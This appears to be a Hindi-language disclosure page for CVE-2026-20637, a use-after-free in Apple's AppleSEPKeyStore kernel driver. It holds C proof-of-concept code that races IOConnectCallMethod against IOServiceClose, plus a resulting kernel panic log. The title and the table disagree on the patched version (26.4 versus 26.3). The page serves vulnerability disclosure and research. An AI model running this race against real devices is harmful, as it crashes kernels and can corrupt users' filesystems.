
CVE-2026-20637: AppleSEPKeyStore Use-After-Free — iOS/macOS कर्नेल भेद्यता (26.4 में पैच किया गया)
CVE-2026-20637 · Enfilade · enfilade.io
घटक: AppleKeyStore
प्रभाव: एक ऐप अप्रत्याशित सिस्टम समाप्ति का कारण बन सकता है।
विवरण: बेहतर मेमोरी प्रबंधन के साथ एक use-after-free समस्या का समाधान किया गया।
| iOS | 26.1 – 26.2 (परीक्षित) |
| macOS | 26.1 – 26.2 (परीक्षित) |
| घटक | com.apple.driver.AppleSEPKeyStore |
| पैच किया गया | iOS 26.3 / iPadOS 26.3 |
Apple ने 26.2.1 और 26.3 के बीच इसे चरणबद्ध रूप से पैच किया हो सकता है, इसलिए मध्यवर्ती बिल्ड पुनरुत्पादित नहीं हो सकते हैं।
PoC चलाने से डिवाइस kernel-panic हो जाएगा। चलाने से पहले अपना काम सहेज लें। बार-बार panic होने से फाइलसिस्टम भ्रष्ट हो सकता है। केवल सुरक्षा अनुसंधान उद्देश्यों के लिए।
AppleKeyStore रेस के माध्यम से IOCommandGate में use-after-free। आठ कॉलर थ्रेड सेलेक्टर 0–15 पर IOConnectCallMethod पर प्रहार करते हैं जबकि चार क्लोज़र थ्रेड IOServiceClose के साथ रेस करते हैं, जिससे एक विंडो उत्पन्न होती है जहाँ कमांड गेट को मुक्त होने के बाद एक्सेस किया जाता है।
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS 8
#define NUM_CLOSERS 4
#define NUM_ITERATIONS 100000
static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;
// 8 कॉलर थ्रेड: IOConnectCallMethod पर प्रहार करें (उच्च प्राथमिकता)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
for (uint32_t sel = 0; sel < 16; sel++) {
IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
}
}
// 4 क्लोज़र थ्रेड: IOServiceClose के साथ रेस करें (उच्च प्राथमिकता)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
IOServiceClose(conn);
atomic_store(&g_conn, IO_OBJECT_NULL);
}
// मुख्य थ्रेड: 100k कनेक्शन, बिना देरी के
for (int i = 0; i < NUM_ITERATIONS; i++) {
uint32_t type = (i % 4 == 0) ? 0x2022
: (i % 4 == 1) ? 0xbeef
: (i % 4 == 2) ? 0x1337
: 0x4141;
IOServiceOpen(svc, mach_task_self(), type, &conn);
atomic_store(&g_conn, conn);
// कोई देरी नहीं — तंग रेस विंडो
}
ios-app/Test.xcodeproj खोलें।panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
(off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
72: 0xfffffffffffffe00
Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
root:xnu-12377.42.6~55/RELEASE_ARM64_T8030
Panicked task 0xffffffe5b4f1e820: pid 956: Test
Kernel Extensions in backtrace:
com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
@0xfffffff016a47020->0xfffffff016a84f9f
LICENSE देखें।